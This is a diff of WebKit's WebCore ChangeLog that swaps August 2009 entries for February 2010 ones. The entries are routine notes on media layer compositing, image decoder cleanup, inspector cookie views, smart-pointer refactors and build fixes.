+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
 
-        Reviewed by Darin Adler.
+2010-02-16  Simon Fraser  <simon.fraser@apple.com>
 
-        REGRESSION (r47255): MediaWiki's (including Wikipedia) navigation pane
-        appears below the main content
-        https://bugs.webkit.org/show_bug.cgi?id=28350
+        Reviewed by Eric Carlson.
 
-        A particular version of the MediaWiki software detects WebKit through
-        user agent sniffing and imports a style sheet called KHTMLFixes.css,
-        which contains a single rule that was meant to work around some KHTML
-        bug, but currently has the sole effect of causing the float containing
-        the main article content to extend all the way to the left and thus push
-        down the left navigation pane.
+        Autoplaying video with poster doesn't reliably show up
+        https://bugs.webkit.org/show_bug.cgi?id=34966
+        
+        A timing issue with compositing updates when replacing the poster image
+        with the video could cause the video to not display.
+        
+        Fix by making video layer hook up more similar to WebGL etc, by having the
+        video kick off a recalcStyle() via a SyntheticStyleChange. This requires
+        vending a PlaformLayer* from the media player, up through the element.
 
-        * css/CSSImportRule.cpp:
-        (WebCore::CSSImportRule::setCSSStyleSheet): If site specific hacks are
-        enabled, check if the imported style sheet is the MediaWiki
-        KHTMLFixes.css. If so, remove the offending rule.
+        Test: media/video-replaces-poster.html
 
-2009-08-17  Brent Fulgham  <bfulgham@webkit.org>
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::mediaPlayerRenderingModeChanged): Use setNeedsStyleRecalc()
+        to kick off a compositing update.
 
-        Reviewed by Kevin Ollivier.
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::platformLayer): Export the media engine's layer.
 
-        Correct crash when processing local cancelled requests.
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::platformLayer): Method to vend the media layer.
+        (WebCore::MediaPlayer::platformLayer):
 
-        No new tests. Existing fast/images/favicon-as-image.html
-        displays the problem.
+        * platform/graphics/MediaPlayer.h:
+        (WebCore::MediaPlayerClient::mediaPlayerRenderingModeChanged): New client callback
+        to indicate that the rendering mode changed. The element uses this to kick off a
+        recalcStyle.
 
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::writeCallback): Add check for m_cancelled after
-          performing local-file processing.
-        (WebCore::ResourceHandleManager::downloadTimerCallback): Add
-          check for m_cancelled after performing local-file processing.
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::platformLayer): Method to vend the media layer.
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h: Ditto
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovieLayer): No longer parent the layer directly
+        via setContentsToMedia().
+        (WebCore::MediaPlayerPrivate::acceleratedRenderingStateChanged): Ditto.
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering): Tell the client that the
+        rendering mode changed.
+        (WebCore::MediaPlayerPrivate::platformLayer): Method to vend the media layer.
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration): Call setContentsToMedia()
+        here.
 
-2009-08-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h: Add platformLayer().
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::platformLayer): Method to vend the media layer.
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering): Call mediaPlayerRenderingModeChanged()
+        (WebCore::MediaPlayerPrivate::createLayerForMovie): Don't parent the layer ourselves any more.
 
-        Unreviewed. Reverts 47371, since it breaks GTK+.
+        * rendering/RenderVideo.h: videoGraphicsLayer() is no longer needed.
+        * rendering/RenderVideo.cpp: Ditto.
 
-        * platform/graphics/ImageSource.cpp:
-        (WebCore::ImageSource::setData):
-        * platform/image-decoders/ImageDecoder.cpp: Removed.
-        * platform/image-decoders/ImageDecoder.h:
-        (WebCore::ImageDecoder::ImageDecoder):
-        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
-        (WebCore::convertCMYKToRGBA):
-        (WebCore::convertRGBToRGBA):
-        (WebCore::JPEGImageDecoder::outputScanlines):
-        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
-        * platform/image-decoders/png/PNGImageDecoder.cpp:
-        (WebCore::PNGImageDecoder::headerAvailable):
-        (WebCore::PNGImageDecoder::rowAvailable):
+2010-02-12  Peter Kasting  <pkasting@google.com>
 
-2009-08-17  Yong Li  <yong.li@torchmobile.com>
+        Reviewed by Adam Barth.
 
-        Reviewed by Adam Treat.
+        Code cleanup in ImageDecoders; no functional change.
+        https://bugs.webkit.org/show_bug.cgi?id=28751
 
-        Allow image decoders to down-sample the image directly
-        to scaled output buffer. This can be enabled/disabled by
-        macro ENABLE(IMAGE_DECODER_DOWN_SAMPLING).
-        Only JPEG and PNG decoders are modified to support it now.
-        https://bugs.webkit.org/show_bug.cgi?id=28308
+        * Make code mostly comply with the style guide (switch indenting, use of
+          "!" vs. "== 0", don't unnecessarily wrap lines, etc.)
+        * Eliminate m_allDataReceived in ICO/BMP decoders since it's in the
+          base ImageDecoder class
+        * Remove some useless or wrong comments, add others
+        * Wrap comments at 80 columns (most already were) for
+          consistency/readability
+        * Avoid casts by using correct variable types
+        * Consistent naming of decode() function/args
+        * Shorter code in some places
+        * Make declaration and definition order match
 
-        * platform/graphics/ImageSource.cpp:
-        (WebCore::ImageSource::setData):
-        * platform/image-decoders/ImageDecoder.cpp: Added.
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::frameCount):
+        (WebCore::ImageDecoderQt::frameBufferAtIndex):
+        (WebCore::ImageDecoderQt::forceLoadEverything):
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::ImageDecoder::create):
+        (WebCore::RGBA32Buffer::clear):
+        (WebCore::RGBA32Buffer::setSize):
         * platform/image-decoders/ImageDecoder.h:
+        (WebCore::RGBA32Buffer::):
         (WebCore::ImageDecoder::ImageDecoder):
-        (WebCore::ImageDecoder::setMaxNumPixels):
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::BMPImageDecoder):
+        (WebCore::BMPImageDecoder::setData):
+        (WebCore::BMPImageDecoder::isSizeAvailable):
+        (WebCore::BMPImageDecoder::frameBufferAtIndex):
+        (WebCore::BMPImageDecoder::decode):
+        (WebCore::BMPImageDecoder::decodeHelper):
+        (WebCore::BMPImageDecoder::processFileHeader):
+        * platform/image-decoders/bmp/BMPImageDecoder.h:
+        (WebCore::BMPImageDecoder::readUint32):
+        * platform/image-decoders/bmp/BMPImageReader.cpp:
+        (WebCore::BMPImageReader::BMPImageReader):
+        (WebCore::BMPImageReader::decodeBMP):
+        (WebCore::BMPImageReader::readInfoHeaderSize):
+        (WebCore::BMPImageReader::processInfoHeader):
+        (WebCore::BMPImageReader::readInfoHeader):
+        (WebCore::BMPImageReader::isInfoHeaderValid):
+        (WebCore::BMPImageReader::processBitmasks):
+        (WebCore::BMPImageReader::processColorTable):
+        (WebCore::BMPImageReader::processRLEData):
+        (WebCore::BMPImageReader::processNonRLEData):
+        * platform/image-decoders/bmp/BMPImageReader.h:
+        (WebCore::BMPImageReader::readUint32):
+        (WebCore::BMPImageReader::pastEndOfImage):
+        (WebCore::BMPImageReader::readCurrentPixel):
+        (WebCore::BMPImageReader::getComponent):
+        (WebCore::BMPImageReader::getAlpha):
+        (WebCore::BMPImageReader::setI):
+        (WebCore::BMPImageReader::setRGBA):
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::GIFImageDecoder):
+        (WebCore::GIFImageDecoder::setData):
+        (WebCore::GIFImageDecoder::isSizeAvailable):
+        (WebCore::GIFImageDecoder::frameCount):
+        (WebCore::GIFImageDecoder::frameBufferAtIndex):
+        (WebCore::GIFImageDecoder::clearFrameBufferCache):
+        (WebCore::GIFImageDecoder::sizeNowAvailable):
+        (WebCore::GIFImageDecoder::haveDecodedRow):
+        (WebCore::GIFImageDecoder::frameComplete):
+        (WebCore::GIFImageDecoder::decode):
+        (WebCore::GIFImageDecoder::initFrameBuffer):
+        * platform/image-decoders/gif/GIFImageDecoder.h:
+        (WebCore::GIFImageDecoder::):
+        (WebCore::GIFImageDecoder::filenameExtension):
+        * platform/image-decoders/gif/GIFImageReader.cpp:
+        (GIFImageReader::do_lzw):
+        (GIFImageReader::read):
+        * platform/image-decoders/gif/GIFImageReader.h:
+        (GIFImageReader::~GIFImageReader):
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::ICOImageDecoder):
+        (WebCore::ICOImageDecoder::~ICOImageDecoder):
+        (WebCore::ICOImageDecoder::setData):
+        (WebCore::ICOImageDecoder::isSizeAvailable):
+        (WebCore::ICOImageDecoder::frameSizeAtIndex):
+        (WebCore::ICOImageDecoder::frameCount):
+        (WebCore::ICOImageDecoder::frameBufferAtIndex):
+        (WebCore::ICOImageDecoder::compareEntries):
+        (WebCore::ICOImageDecoder::setDataForPNGDecoderAtIndex):
+        (WebCore::ICOImageDecoder::decode):
+        (WebCore::ICOImageDecoder::decodeDirectory):
+        (WebCore::ICOImageDecoder::decodeAtIndex):
+        (WebCore::ICOImageDecoder::processDirectoryEntries):
+        (WebCore::ICOImageDecoder::readDirectoryEntry):
+        * platform/image-decoders/ico/ICOImageDecoder.h:
+        (WebCore::ICOImageDecoder::readUint16):
+        (WebCore::ICOImageDecoder::readUint32):
         * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
-        (WebCore::convertCMYKToRGBA):
-        (WebCore::convertRGBToRGBA):
-        (WebCore::JPEGImageDecoder::outputScanlines):
-        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        (WebCore::):
+        (WebCore::JPEGImageReader::JPEGImageReader):
+        (WebCore::JPEGImageReader::skipBytes):
+        (WebCore::JPEGImageReader::decode):
+        (WebCore::error_exit):
+        (WebCore::fill_input_buffer):
+        (WebCore::term_source):
+        (WebCore::JPEGImageDecoder::setData):
         (WebCore::JPEGImageDecoder::setSize):
+        (WebCore::JPEGImageDecoder::frameBufferAtIndex):
+        (WebCore::JPEGImageDecoder::jpegComplete):
+        (WebCore::JPEGImageDecoder::decode):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        (WebCore::JPEGImageDecoder::filenameExtension):
         * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::decodingFailed):
+        (WebCore::decodingWarning):
+        (WebCore::headerAvailable):
+        (WebCore::rowAvailable):
+        (WebCore::pngComplete):
+        (WebCore::PNGImageReader::PNGImageReader):
+        (WebCore::PNGImageReader::close):
+        (WebCore::PNGImageReader::decode):
+        (WebCore::PNGImageReader::createInterlaceBuffer):
+        (WebCore::PNGImageDecoder::setData):
+        (WebCore::PNGImageDecoder::frameBufferAtIndex):
         (WebCore::PNGImageDecoder::headerAvailable):
         (WebCore::PNGImageDecoder::rowAvailable):
+        (WebCore::PNGImageDecoder::pngComplete):
+        (WebCore::PNGImageDecoder::decode):
+        * platform/image-decoders/png/PNGImageDecoder.h:
+        (WebCore::PNGImageDecoder::filenameExtension):
+        * platform/image-decoders/qt/RGBA32BufferQt.cpp:
+        (WebCore::RGBA32Buffer::setDecodedImage):
 
-2009-08-17  Simon Fraser  <simon.fraser@apple.com>
-
-        Build fix: fix float literals to avoid casting warnings.
-
-        * rendering/MediaControlElements.cpp:
-
-2009-08-17  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        Use OwnPtrs for GraphicsLayers
-        https://bugs.webkit.org/show_bug.cgi?id=28399
-
-        Convert RenderLayerBacking and RenderLayerCompositor to use OwnPtrs
-        for their references to GraphicsLayers.
-
-        * platform/graphics/GraphicsLayer.h:
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayer::create):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::RenderLayerBacking):
-        (WebCore::RenderLayerBacking::createGraphicsLayer):
-        (WebCore::RenderLayerBacking::destroyGraphicsLayer):
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
-        (WebCore::RenderLayerBacking::updateInternalHierarchy):
-        (WebCore::RenderLayerBacking::updateClippingLayers):
-        (WebCore::RenderLayerBacking::updateForegroundLayer):
-        (WebCore::RenderLayerBacking::setContentsNeedDisplayInRect):
-        * rendering/RenderLayerBacking.h:
-        (WebCore::RenderLayerBacking::graphicsLayer):
-        (WebCore::RenderLayerBacking::clippingLayer):
-        (WebCore::RenderLayerBacking::ancestorClippingLayer):
-        (WebCore::RenderLayerBacking::foregroundLayer):
-        (WebCore::RenderLayerBacking::parentForSublayers):
-        (WebCore::RenderLayerBacking::childForSuperlayers):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::~RenderLayerCompositor):
-        (WebCore::RenderLayerCompositor::rootPlatformLayer):
-        (WebCore::RenderLayerCompositor::didMoveOnscreen):
-        (WebCore::RenderLayerCompositor::ensureRootPlatformLayer):
-        (WebCore::RenderLayerCompositor::destroyRootPlatformLayer):
-        * rendering/RenderLayerCompositor.h:
-
-2009-08-17  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Reset InjectedScript styles cache on document change.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28390
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::close):
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::resetInjectedScript):
-        * inspector/InspectorController.h:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::setDocument):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._reset):
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        * rendering/MediaControlElements.cpp: Removed unneeded include of CString.h,
-        resorted includes, renamed "doc" to "document" and fixed formatting.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Removed functions now unneeded due to use of Reflect to create
-        language bindings.
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::accessibilityParentForImageMap):
-        Get at usemap attribute directly.
-
-        * editing/DeleteButtonController.cpp:
-        (WebCore::DeleteButtonController::createDeletionUI):
-        Get at id attribute directly.
-        * editing/EditorCommand.cpp:
-        (WebCore::executeInsertHorizontalRule): Ditto.
-
-        * html/HTMLDocument.cpp:
-        (WebCore::HTMLDocument::dir): Get at dir attribute of body directly.
-        (WebCore::HTMLDocument::setDir): Ditto.
-
-        * html/HTMLElement.cpp: Deleted unused functions.
-        * html/HTMLElement.h: Ditto.
-
-        * html/HTMLImageElement.cpp: Deleted unused functions.
-        (WebCore::HTMLImageElement::alt): Changed to return const AtomicString&.
-        (WebCore::HTMLImageElement::addSubresourceAttributeURLs): Changed to
-        get at usemap attribute directly, but added a FIXME because although
-        it is what the old code did, it looks to not be entirely correct.
-
-        * html/HTMLImageElement.h: Deleted unused functions.
-
-        * rendering/HitTestResult.cpp:
-        (WebCore::HitTestResult::altDisplayString): Get at alt attribute directly.
-
-        * rendering/RenderImage.cpp:
-        (WebCore::RenderImage::imageMap): Get at usemap attribute directly.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::createGraphicsLayer): Get at id attribute
-        directly.
-        (WebCore::RenderLayerBacking::isSimpleContainerCompositingLayer): Removed
-        explicit HTMLNames namespace qualification.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        * dom/Document.cpp:
-        (WebCore::Document::setFocusedNode): Removed unneeded calls
-        to RefPtr::get.
-
-2009-08-17  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Discard DOM Node bindings on any document change.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28389
-
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::setDocument):
-
-2009-08-13  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Improve Cookie DataGrid to Show Hidden Data
-        https://bugs.webkit.org/show_bug.cgi?id=28269
-
-        * English.lproj/localizedStrings.js: DataGrid Headers "Name", "Value", "Size", ...
-        * WebCore.gypi: added missing files
-
-          Implemented Bindings for InspectorController.deleteCookie(name)
-
-        * inspector/InspectorBackend.idl:
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::cookies):
-        (WebCore::JSInspectorBackend::deleteCookie):
-
-          v8 Bindings Stubs
-
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-          Removed WebInspector.Cookie
-
-        * inspector/front-end/Cookie.js: Removed.
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/WebKit.qrc:
-
-          Improved DataGrid and Kept Fallback Behavior for Platforms that don't
-          yet provide access to raw cookies.
-
-        * inspector/front-end/CookieItemsView.js:
-        (WebInspector.CookieItemsView):
-        (WebInspector.CookieItemsView.prototype.get statusBarItems):
-        (WebInspector.CookieItemsView.prototype.update):
-        (WebInspector.CookieItemsView.prototype.buildCookies):
-        (WebInspector.CookieItemsView.prototype.dataGridForCookies):
-        (WebInspector.CookieItemsView.prototype.fallbackUpdate.callback):
-        (WebInspector.CookieItemsView.prototype.fallbackUpdate):
-        (WebInspector.CookieItemsView.prototype.fallbackBuildCookiesFromString):
-        (WebInspector.CookieItemsView.prototype.fallbackDataGridForCookies):
-        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
-
-          Interaction with the page through Injected Script (for fallback behavior)
-
-        * inspector/front-end/DOMAgent.js:
-        (InspectorController.getCookies):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.setStyleProperty): style fix
-        (InjectedScript.getCookies):
-
-          Allow alignment of text inside DataGrids.
-
-        * inspector/front-end/DataGrid.js:
-        (WebInspector.DataGrid):
-        (WebInspector.DataGridNode.prototype.createCell):
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.dataGridForDOMStorage):
-        * inspector/front-end/inspector.css:
-
-          Added deleteCookie(., ., String name)
-          Modified getRawCookies to return a bool to know if its implemented
-
-        * platform/CookieJar.h:
-
-
-          Implemented deleteCookie for Macs
-
-        * platform/mac/CookieJar.mm:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-
-          Stub Implementations for Other Platforms
-
-        * platform/haiku/CookieJarHaiku.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-        * platform/network/chromium/CookieJarChromium.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-        * platform/network/curl/CookieJarCurl.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-        * platform/network/soup/CookieJarSoup.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-        * platform/network/win/CookieJarCFNetWin.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-        * platform/network/win/CookieJarWin.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-        * platform/qt/CookieJarQt.cpp:
-        (WebCore::getRawCookies):
-        (WebCore::deleteCookie):
-
-2009-08-17  Adam Treat  <adam.treat@torchmobile.com>
-
-        Blind build fix for Leopard.
-
-        * platform/graphics/GraphicsContext.cpp:
-        (WebCore::GraphicsContext::adjustLineToPixelBoundaries):
-
-2009-08-13  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Style fixes based on cpp_style.py and WebKit Style guide for
-        GraphicsContextCG.cpp
-
-        https://bugs.webkit.org/show_bug.cgi?id=28268
-
-        * platform/graphics/cg/GraphicsContextCG.cpp:
-        (WebCore::GraphicsContext::drawLine):
-        (WebCore::GraphicsContext::drawEllipse):
-        (WebCore::GraphicsContext::strokeArc):
-        (WebCore::GraphicsContext::drawConvexPolygon):
-        (WebCore::GraphicsContext::applyStrokePattern):
-        (WebCore::GraphicsContext::drawPath):
-        (WebCore::GraphicsContext::clipOut):
-        (WebCore::GraphicsContext::clipOutEllipseInRect):
-        (WebCore::GraphicsContext::addInnerRoundedRectClip):
-        (WebCore::GraphicsContext::clipToImageBuffer):
-        (WebCore::GraphicsContext::setPlatformShadow):
-        (WebCore::GraphicsContext::setLineCap):
-        (WebCore::GraphicsContext::setLineJoin):
-        (WebCore::GraphicsContext::roundToDevicePixels):
-        (WebCore::GraphicsContext::drawLineForText):
-        (WebCore::GraphicsContext::setURLForRect):
-        (WebCore::GraphicsContext::setImageInterpolationQuality):
-        (WebCore::GraphicsContext::imageInterpolationQuality):
-        (WebCore::GraphicsContext::setPlatformTextDrawingMode):
-        (WebCore::GraphicsContext::setCompositeOperation):
-
-2009-08-13  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Style fixes based on cpp_style.py and WebKit Style guide for
-        GraphicsContext.cpp/h, GraphicsContextCairo.cpp and GraphicsContextQt.cpp.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28268
-
-        * platform/graphics/GraphicsContext.cpp:
-        (WebCore::GraphicsContext::save):
-        (WebCore::GraphicsContext::restore):
-        (GraphicsContext::drawText):
-        (GraphicsContext::initFocusRing):
-        (GraphicsContext::focusRingBoundingRect):
-        (GraphicsContext::drawImage):
-        * platform/graphics/GraphicsContext.h:
-        * platform/graphics/cairo/GraphicsContextCairo.cpp:
-        (WebCore::GraphicsContext::drawLine):
-        (WebCore::GraphicsContext::strokeArc):
-        (WebCore::GraphicsContext::setLineCap):
-        (WebCore::GraphicsContext::setLineJoin):
-        (WebCore::toCairoOperator):
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Change HTMLAreaElement to use OwnArrayPtr
-        https://bugs.webkit.org/show_bug.cgi?id=28386
-
-        * html/HTMLAreaElement.cpp:
-        (WebCore::HTMLAreaElement::HTMLAreaElement): Removed unneeded initializer.
-        (WebCore::HTMLAreaElement::~HTMLAreaElement): Removed unneeded delete call.
-        (WebCore::HTMLAreaElement::parseMappedAttribute): Use the set function
-        instead of deletion followed by assignment.
-        * html/HTMLAreaElement.h: Use OwnArrayPtr.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Fix Windows build.
-
-        * dom/make_names.pl: Add back cast to (void*) needed on Windows.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Move noResize from HTMLFrameElementBase to HTMLFrameElement
-        https://bugs.webkit.org/show_bug.cgi?id=28384
-
-        * html/HTMLFrameElement.cpp:
-        (WebCore::HTMLFrameElement::HTMLFrameElement): Initialize m_noResize.
-        (WebCore::HTMLFrameElement::parseMappedAttribute): Set m_noResize to true
-        here if noresizeAttr is changed. This code was moved here from
-        HTMLFrameElementBase, but I added some FIXME comments.
-        (WebCore::HTMLFrameElement::setNoResize): Set the attribute based on
-        boolean argument. Moved here from HTMLFrameElementBase.
-
-        * html/HTMLFrameElement.h: Moved noResize, setNoResize, and m_noResize
-        here from HTMLFrameElementBase.
-
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::HTMLFrameElementBase): Removed m_noResize.
-        (WebCore::HTMLFrameElementBase::parseMappedAttribute): Removed code to parse
-        noresizeAttr.
-
-        * html/HTMLFrameElementBase.h: Removed noResize, setNoResize, and m_noResize.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Tweak HTMLFrameElementBase so that m_URL can be private
-        https://bugs.webkit.org/show_bug.cgi?id=28385
-
-        * html/HTMLFrameElement.cpp:
-        (WebCore::HTMLFrameElement::rendererIsNeeded): Removed m_URL argument.
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::isURLAllowed): Use m_URL instead of
-        taking an argument.
-        (WebCore::HTMLFrameElementBase::openURL): Removed m_URL argument.
-        * html/HTMLFrameElementBase.h: Removed argument from isURLAllowed function.
-        * html/HTMLIFrameElement.cpp:
-        (WebCore::HTMLIFrameElement::rendererIsNeeded): Removed m_URL argument.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        HTMLViewSourceDocument should use smart pointers
-        https://bugs.webkit.org/show_bug.cgi?id=28378
-
-        * html/HTMLViewSourceDocument.cpp:
-        (WebCore::HTMLViewSourceDocument::HTMLViewSourceDocument): Don't initialize
-        pointers any more since RefPtr starts 0 by default.
-        (WebCore::HTMLViewSourceDocument::createContainingTable): Use more specific
-        types for local variables.
-        (WebCore::HTMLViewSourceDocument::addSpanWithClassName): Return a PassRefPtr,
-        and use a RefPtr of a more specific type for a local variable.
-        (WebCore::HTMLViewSourceDocument::addLine): Use more specific types for local
-        variables, and use RefPtr as well.
-        (WebCore::HTMLViewSourceDocument::addLink): Return a PassRefPtr, and use a
-        RefPtr of a more specific type for a local variable.
-
-        * html/HTMLViewSourceDocument.h: Change return types to PassRefPtr and
-        data member types to RefPtr.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        DOM attribute getter/setter functions should use const AtomicString& type
-        https://bugs.webkit.org/show_bug.cgi?id=25425
-
-        Convert 4 more classes. These are classes I am going to make other changes
-        to soon, so it's good to have this use of Reflect in the IDL out of the way.
-
-        * html/HTMLEmbedElement.idl: Use Reflect for many attributes.
-        * html/HTMLFrameElement.idl: Ditto.
-        * html/HTMLIFrameElement.idl: Ditto.
-        * html/HTMLObjectElement.idl: Ditto.
-
-2009-08-17  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Script to create element factory needs changes to accommodate calling create
-        https://bugs.webkit.org/show_bug.cgi?id=28379
-
-        * dom/make_names.pl: Tweak formatting. Remove lots of unneeded quotes
-        around names used inside {}. Added new createWithNew property for tags
-        that makes the factory use a create function instead of calling new.
-        Renamed functions with initialize in their name to have default in their
-        name, since they return an array full of default values and don't themselves
-        initialize anything.
-
-2009-08-16  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        StyledElement should use ASCIICType instead of having its own toHex function
-        https://bugs.webkit.org/show_bug.cgi?id=28377
-
-        * dom/StyledElement.cpp:
-        (WebCore::StyledElement::addCSSColor): Use isASCIIHexDigit and toASCIIHexValue.
-
-2009-08-16  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        execCommand("InsertHorizontalRule") inserts a broken <hr> element
-        https://bugs.webkit.org/show_bug.cgi?id=28375
-
-        * editing/EditorCommand.cpp:
-        (WebCore::executeInsertHorizontalRule): Create an HTMLHRElement
-        instead of just an HTMLElement.
-
-2009-08-16  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        [WML] <option> element & 'onpick' events - history navigation is broken
-        https://bugs.webkit.org/show_bug.cgi?id=28371
-
-        After selecting an option element with an 'onpick' event associated with a 'go' task,
-        the navigation is executed. When going back in history, the same 'onpick' event is fired
-        again. Fix that problem, add wml/option-element-onpick-recursion.html covering the bug.
-
-        Test: wml/option-element-onpick-recursion.html
-
-        * wml/WMLOptionElement.cpp:
-        (WebCore::WMLOptionElement::handleIntrinsicEventIfNeeded):
-        * wml/WMLSelectElement.cpp:
-        (WebCore::WMLSelectElement::WMLSelectElement):
-        (WebCore::WMLSelectElement::selectInitialOptions):
-        * wml/WMLSelectElement.h:
-        (WebCore::WMLSelectElement::initialized):
-
-2009-08-16  Anthony Ricaud  <rik@webkit.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector Resource filtering: keyboard Navigation always uses ALL resources
-        https://bugs.webkit.org/show_bug.cgi?id=28231
-        
-        Determine if a resource is selectable on user action.
-        
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.get selectable):
+2010-02-16  Csaba Osztrogonác  <ossy@webkit.org>
 
-2009-08-16  David Kilzer  <ddkilzer@apple.com>
+        [Qt] Unreviewed buildfix.
 
-        <http://webkit.org/b/28355> Replace MAX()/MIN() macros with type-safe std::max()/min() templates
+        * WebCore.pro: Missing backslash added.
 
-        Reviewed by Dan Bernstein.
+2010-02-16  Mikhail Naganov  <mnaganov@chromium.org>
 
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (AXAttributeStringSetSpelling): Changed MIN() to min().
-        * platform/graphics/mac/FontMacATSUI.mm:
-        (WebCore::Font::selectionRectForComplexText): Changed MAX() to
-        max() and MIN() to min().
-        (WebCore::Font::floatWidthForComplexText): Ditto.
-        * platform/graphics/mac/SimpleFontDataMac.mm: Added using
-        std::max statement.
-        (WebCore::SimpleFontData::platformInit): Changed MAX() to max().
-        * platform/text/mac/TextCodecMac.cpp:
-        (WebCore::TextCodecMac::decode): Changed MIN() to min().
+        Reviewed by Pavel Feldman.
 
-2009-08-16  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+        Move JSC-specific wrappers for Profile and ProfileNode to bindings/js.
 
-        Reviewed by George Staikos.
+        https://bugs.webkit.org/show_bug.cgi?id=34848
 
-        [WML] Cleanup WMLIntrinsicEventHandling code
-        https://bugs.webkit.org/show_bug.cgi?id=28358
-
